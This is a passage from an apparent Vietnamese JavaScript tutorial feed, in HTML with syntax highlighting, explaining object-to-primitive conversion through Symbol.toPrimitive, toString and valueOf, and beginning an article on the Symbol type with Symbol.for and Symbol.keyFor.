punctuation">(</span><span class="token operator">+</span>user<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 28</span> <span class="token comment">// hint là default</span> <span class="token function">alert</span><span class="token punctuation">(</span>user <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 29</span></code></pre></div> <p>Trong ví dụ trên, <code>user</code> có thể chuyển thành string hoặc number tùy thuộc vào "hint". Và tất cả xử lý đều nằm trong phương thức <code>obj[Symbol.toPrimitive](hint)</code>.</p> <h2 id="chi-tiết-về-tostring-và-valueof" style="position:relative;"><a href="#chi-ti%E1%BA%BFt-v%E1%BB%81-tostring-v%C3%A0-valueof" aria-label="chi tiết về tostring và valueof permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Chi tiết về <code>toString</code> và <code>valueOf</code></h2> <p>Trường hợp object không tồn tại thuộc tính <code>Symbol.toPrimitive</code> thì JavaScript sẽ tìm đến hai phương thức <code>toString</code> và <code>valueOf</code>.</p> <ul> <li>Nếu "hint" là <code>string</code>: JavaScript ưu tiên tìm <code>toString</code> trước. Nếu <code>toString</code> không tồn tại thì tìm <code>valueOf</code> (<code>toString</code> có độ ưu tiên cao hơn).</li> <li>Nếu "hint" là <code>number</code> hoặc <code>default</code>: JavaScript ưu tiên tìm <code>valueOf</code> trước. Nếu <code>valueOf</code> không tồn tại thì tìm <code>toString</code> (<code>valueOf</code> có độ ưu tiên cao hơn).</li> </ul> <p><code>toString</code> và <code>valueOf</code> là hai <strong>phương thức mặc định</strong>, luôn luôn tồn tại khi khởi tạo object, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj<span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// [object Object]</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj<span class="token punctuation">.</span><span class="token function">valueOf</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// {}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj <span class="token operator">===</span> obj<span class="token punctuation">.</span><span class="token function">valueOf</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span></code></pre></div> <p>Qua ví dụ trên, bạn thấy rằng:</p> <ul> <li>Phương thức <code>toString</code> mặc định trả về string có giá trị là <code>[object Object]</code>.</li> <li>Phương thức <code>valueOf</code> mặc định trả về <strong>tham chiếu của chính object</strong> đó.</li> </ul> <p>Bây giờ, mình sẽ thử tùy biến hai phương thức này mà không sử dụng <code>Symbol.toPrimitive</code> nữa:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token literal-property property">age</span><span class="token operator">:</span> <span class="token number">28</span><span class="token punctuation">,</span> <span class="token comment">// hint là string</span> <span class="gatsby-highlight-code-line"> <span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">return</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">{name: </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">}</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span><span class="token punctuation">,</span></span> <span class="token comment">// hint là number hoặc default</span> <span class="gatsby-highlight-code-line"> <span class="token function">valueOf</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">.</span>age<span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span><span class="token punctuation">,</span></span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// hint là string</span> <span class="token function">alert</span><span class="token punctuation">(</span>user<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// {name: Alex}</span> <span class="token comment">// hint là number</span> <span class="token function">alert</span><span class="token punctuation">(</span><span class="token operator">+</span>user<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 28</span> <span class="token comment">// hint là default</span> <span class="token function">alert</span><span class="token punctuation">(</span>user <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 29</span></code></pre></div> <p>Như bạn thấy là kết quả hoàn toàn giống với cách sử dụng <code>Symbol.toPrimitive</code>.</p> <blockquote> <p>📝 <strong>Chú ý</strong>: hai phương thức <code>toString</code> và <code>valueOf</code> có thể trả về bất kỳ kiểu dữ liệu nguyên thủy nào, không nhất thiết phải trả về <strong>number</strong> hay <strong>string</strong>.</p> <p>Chỉ cần giá trị trả về <strong>khác object</strong> là được.</p> </blockquote> <p>Ví dụ:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token literal-property property">age</span><span class="token operator">:</span> <span class="token number">28</span><span class="token punctuation">,</span> <span class="token comment">// hint là string</span> <span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span></span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token comment">// hint là number hoặc default</span> <span class="token function">valueOf</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">return</span> <span class="token keyword">null</span><span class="token punctuation">;</span></span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// hint là string</span> <span class="token function">alert</span><span class="token punctuation">(</span>user<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> <span class="token comment">// hint là number</span> <span class="token function">alert</span><span class="token punctuation">(</span><span class="token operator">+</span>user<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 0 - vì +null chuyển thành 0</span> <span class="token comment">// hint là default</span> <span class="token function">alert</span><span class="token punctuation">(</span>user <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span></code></pre></div> <h2 id="một-số-vấn-đề-khác-về-chuyển-đổi-kiểu-dữ-liệu" style="position:relative;"><a href="#m%E1%BB%99t-s%E1%BB%91-v%E1%BA%A5n-%C4%91%E1%BB%81-kh%C3%A1c-v%E1%BB%81-chuy%E1%BB%83n-%C4%91%E1%BB%95i-ki%E1%BB%83u-d%E1%BB%AF-li%E1%BB%87u" aria-label="một số vấn đề khác về chuyển đổi kiểu dữ liệu permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Một số vấn đề khác về chuyển đổi kiểu dữ liệu</h2> <p>Có thể bạn đã biết, nhiều toán tử trong JavaScript thực hiện chuyển đổi kiểu dữ liệu nếu giá trị các toán hạng không phù hợp. Ví dụ toán tử <code>*</code> sẽ chuyển giá trị các toán hạng thành <strong>number</strong>.</p> <p>Khi đó, JavaScript sẽ thực hiện hai quá trình:</p> <ol> <li>Chuyển đổi object về kiểu nguyên thủy (theo quy luật trên).</li> <li>Nếu kết quả trên không phù hợp thì chuyển đổi về kiểu dữ liệu phù hợp.</li> </ol> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token punctuation">[</span>Symbol<span class="token punctuation">.</span>toPrimitive<span class="token punctuation">]</span><span class="token punctuation">(</span><span class="token parameter">hint</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token string">"3"</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj <span class="token operator">*</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 6</span></code></pre></div> <p>Trong ví dụ trên, <code>obj</code> sử dụng <code>Symbol.toPrimitive</code> để chuyển đổi kiểu dữ liệu về nguyên thủy, và kết quả luôn là string <code>"3"</code> (không phụ thuộc giá trị của "hint").</p> <p>Theo các bước trên thì:</p> <ol> <li><code>obj</code> chuyển về string thành <code>"3"</code>.</li> <li>Phép toán <code>"3" * 2</code> trở thành <code>3 * 2</code> (vì string <code>"3"</code> chuyển thành số <code>3</code>).</li> </ol> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Việc chuyển đổi object về kiểu nguyên thủy được sử dụng với nhiều hàm và toán tử trong JavaScript.</p> <p>Có ba kiểu "hint" là:</p> <ul> <li><code>string</code>: áp dụng cho hàm <code>alert</code> và các toán tử yêu cầu toán hạng là string.</li> <li><code>number</code>: áp dụng cho các phép toán số học.</li> <li><code>default</code>: áp dụng cho <strong>một số ít</strong> toán tử dùng được cho cả string và number (không biết chắc nên chuyển về kiểu dữ liệu nào).</li> </ul> <p>Quy luật chuyển đổi object về kiểu nguyên thủy là:</p> <ol> <li>Gọi <code>obj[Symbol.toPrimitive](hint)</code> nếu phương thức này tồn tại.</li> <li>Trường hợp phương thức trên không tồn tại, nếu "hint" là <code>string</code>: ưu tiên gọi phương thức <code>obj.toString()</code>, nếu không tồn tại thì gọi phương thức <code>obj.valueOf()</code>.</li> <li>Nếu "hint" là <code>number</code> hoặc <code>default</code>: ưu tiên gọi phương thức <code>obj.valueOf()</code>, nếu không tồn tại thì gọi phương thức <code>obj.toString()</code>.</li> </ol> <p>Tham khảo:</p> <ul> <li><a href="https://tc39.github.io/ecma262/#sec-toprimitive">ECMAScript toPrimitive</a></li> <li><a href="https://javascript.info/object-toprimitive">Object to primitive conversion</a></li> </ul>[email protected]<![CDATA[Tìm hiểu về Symbol trong JavaScript]]><![CDATA[Symbol là một kiểu dữ liệu mới được giới thiệu từ phiên bản ES6. Tuy nhiên, mình cũng chưa từng dùng Symbol trong JavaScript bao giờ cả. Nếu vậy thì người ta đưa ra kiểu dữ liệu…]]>https://completejavascript.com/tim-hieu-ve-symbol-trong-javascript/https://completejavascript.com/tim-hieu-ve-symbol-trong-javascript/<![CDATA[ES6]]><![CDATA[Symbol]]><![CDATA[Kiểu dữ liệu]]>Mon, 22 May 2017 23:00:14 GMT<p>Symbol là một kiểu dữ liệu mới được giới thiệu từ phiên bản <a href="/tag/es6/">ES6</a>. Tuy nhiên, mình cũng chưa từng dùng Symbol trong JavaScript bao giờ cả.</p> <p>Nếu vậy thì người ta đưa ra kiểu dữ liệu này để làm gì? Symbol có ưu điểm gì? Ứng dụng của Symbol như thế nào? Cách sử dụng Symbol trong JavaScript ra sao?</p> <p>Bài viết này, mình sẽ đi tìm lời giải cho những câu hỏi trên. Và nếu nó thật sự có ích thì chẳng tội gì mà mình không dùng nhỉ!</p> <h2 id="symbol-là-gì" style="position:relative;"><a href="#symbol-l%C3%A0-g%C3%AC" aria-label="symbol là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Symbol là gì?</h2> <p>Symbol là một kiểu dữ liệu dạng <a href="https://developer.mozilla.org/en-US/docs/Glossary/Primitive">primative data</a>. Để tạo mới một Symbol, bạn có thể dùng hàm <code>Symbol()</code>, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> myId <span class="token operator">=</span> <span class="token function">Symbol</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Hoặc bạn có thể thêm <strong>description</strong> để miêu tả Symbol:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> myId <span class="token operator">=</span> <span class="token function">Symbol</span><span class="token punctuation">(</span><span class="token string">"id"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p><strong>Chú ý:</strong> Symbol <strong>không có hàm khởi tạo</strong>. Do đó, bạn không thể dùng từ khoá <a href="/khoi-tao-object-new-trong-javascript/"><code>new</code></a> để tạo mới một Symbol:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> myId <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Symbol</span><span class="token punctuation">(</span><span class="token string">"id"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => Uncaught TypeError: Symbol is not a constructor</span></code></pre></div> <p>Cơ bản về Symbol là vậy. Tiếp theo, mình sẽ tìm hiểu về một số đặc điểm, tính chất của nó nhé!</p> <h2 id="một-số-đặc-điểm-của-symbol-trong-javascript" style="position:relative;"><a href="#m%E1%BB%99t-s%E1%BB%91-%C4%91%E1%BA%B7c-%C4%91i%E1%BB%83m-c%E1%BB%A7a-symbol-trong-javascript" aria-label="một số đặc điểm của symbol trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Một số đặc điểm của Symbol trong JavaScript</h2> <h3 id="symbol-là-unique-duy-nhất" style="position:relative;"><a href="#symbol-l%C3%A0-unique-duy-nh%E1%BA%A5t" aria-label="symbol là unique duy nhất permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Symbol là unique (duy nhất)</h3> <p>Nghĩa là dù bạn có tạo ra bao nhiêu Symbol với cùng description thì chúng vẫn khác nhau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> myId1 <span class="token operator">=</span> <span class="token function">Symbol</span><span class="token punctuation">(</span><span class="token string">"id"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> myId2 <span class="token operator">=</span> <span class="token function">Symbol</span><span class="token punctuation">(</span><span class="token string">"id"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myId1 <span class="token operator">==</span> myId2<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myId1 <span class="token operator">===</span> myId2<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => false</span></code></pre></div> <h3 id="symbol-không-tự-convert-sang-string" style="position:relative;"><a href="#symbol-kh%C3%B4ng-t%E1%BB%B1-convert-sang-string" aria-label="symbol không tự convert sang string permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Symbol không tự convert sang string</h3> <p>Hầu hết các kiểu dữ liệu trong JavaScript đều hỗ trợ <a href="/chuyen-doi-kieu-du-lieu-trong-javascript/">tự động convert</a> sang <a href="/kieu-du-lieu-trong-javascript/">string</a>, nhưng Symbol thì không.</p> <p>Ví dụ khi bạn sử dụng Symbol với phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/alert"><code>alert()</code></a>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token boolean">true</span><span class="token punctuation">;</span> <span class="token keyword">let</span> b <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">let</span> c <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> d <span class="token operator">=</span> <span class="token function">Symbol</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">alert</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => true</span> <span class="token function">alert</span><span class="token punctuation">(</span>b<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => 1,2</span> <span class="token function">alert</span><span class="token punctuation">(</span>c<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => [object Object]</span> <span class="token function">alert</span><span class="token punctuation">(</span>d<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => TypeError: Cannot convert a Symbol value to a string</span></code></pre></div> <h2 id="sử-dụng-global-symbol" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-global-symbol" aria-label="sử dụng global symbol permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng Global Symbol</h2> <h3 id="sử-dụng-symbolfor" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-symbolfor" aria-label="sử dụng symbolfor permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng <code>Symbol.for</code></h3> <p>Như mình đã nói ở trên, Symbol là unique dù cho bạn có tạo ra nhiều Symbol với cùng description.</p> <p>Tuy nhiên, nhiều khi mình muốn các description giống nhau sẽ ứng với một Symbol duy nhất. Lúc này, description có thể coi là <strong>key</strong>.</p> <p>Để làm được việc này, mình có thể sử dụng phương thức <code>Symbol.for(key)</code>. Phương thức này sẽ tìm trong một đối tượng <strong>Global</strong> nào đó, xem có tồn tại một Symbol tương ứng với <strong>key</strong> hay không.</p> <p>Nếu chưa có Symbol nào thoả mãn thì <a href="/javascript-la-gi/#javascript-engine-l%C3%A0-g%C3%AC">JavaScript Engine</a> sẽ tạo ra một Symbol mới được xác định bởi <strong>key</strong>. Ngược lại, nó sẽ trả về Symbol đó.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Tạo một Symbol mới với description là "id"</span> <span class="token keyword">let</span> id1 <span class="token operator">=</span> <span class="token function">Symbol</span><span class="token punctuation">(</span><span class="token string">"id"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/* * Tìm trong Global một Symbol với key là "id". * Nếu Symbol chưa tồn tại thì tạo mới một Symbol */</span> <span class="token keyword">let</span> id2 <span class="token operator">=</span> Symbol<span class="token punctuation">.</span><span class="token function">for</span><span class="token punctuation">(</span><span class="token string">"id"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/* * Tiếp tục tìm trong Global một Symbol với key là "id". * Lần này thì Symbol đã tồn tại rồi, nên sẽ trả về Symbol trên. */</span> <span class="token keyword">let</span> id3 <span class="token operator">=</span> Symbol<span class="token punctuation">.</span><span class="token function">for</span><span class="token punctuation">(</span><span class="token string">"id"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Kết quả</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>id1 <span class="token operator">===</span> id2<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>id2 <span class="token operator">===</span> id3<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => true</span></code></pre></div> <p>Việc sử dụng <code>Symbol.for</code> như thế này giúp Symbol có thể được sử dụng rộng rãi, nhiều nơi trong ứng dụng hơn.</p> <h3 id="sử-dụng-symbolkeyfor" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-symbolkeyfor" aria-label="sử dụng symbolkeyfor permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng <code>Symbol.keyFor</code></h3> <p>Ngược lại với phương thức trên, phương thức <code>Symbol.keyFor(symbol)</code> sẽ trả về giá trị <strong>key</strong> tương ứng với <code>symbol</code>.</p> <p>Tuy nhiên, phương thức này chỉ có tác dụng với Symbol được tạo ra từ phương thức <code>Symbol.for(key)</code> bên trên.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> sym1 <span class="token operator">=</span> <span class="token function">Symbol</span><span class="token punctuation">(</span><span class="token string">"id"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> key1 <span class="token operator">=</span> Symbol<span class="token punctuation">.</span><span class="token function">keyFor</span><span class="token punctuation">(</span>sym1<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> sym2 <span class="token operator">=</span> Symbol<span class="token punctuation">.</span><span class="token function">for</span><span class="token punctuation">(</span><span class="token string">"name"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> key2 <span class="token operator">=</span> Symbol<span class="token punctuation">.</span><span class="token function">keyFor</span><span class="token punctuation">(</span>sym2<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"key1: "</span><span class="token punctuation">,</span> key1<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => undefined</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"key2: "</span><span class="token punctuation">,</span> key2<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => name</span></code></pre></div> <h2 id="ứng-dụng-của-symbol" style="position:relative;"><a href="#%E1%BB%A9ng-d%E1%BB%A5ng-c%E1%BB%A7a-symbol" aria-label="ứng dụng của symbol permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 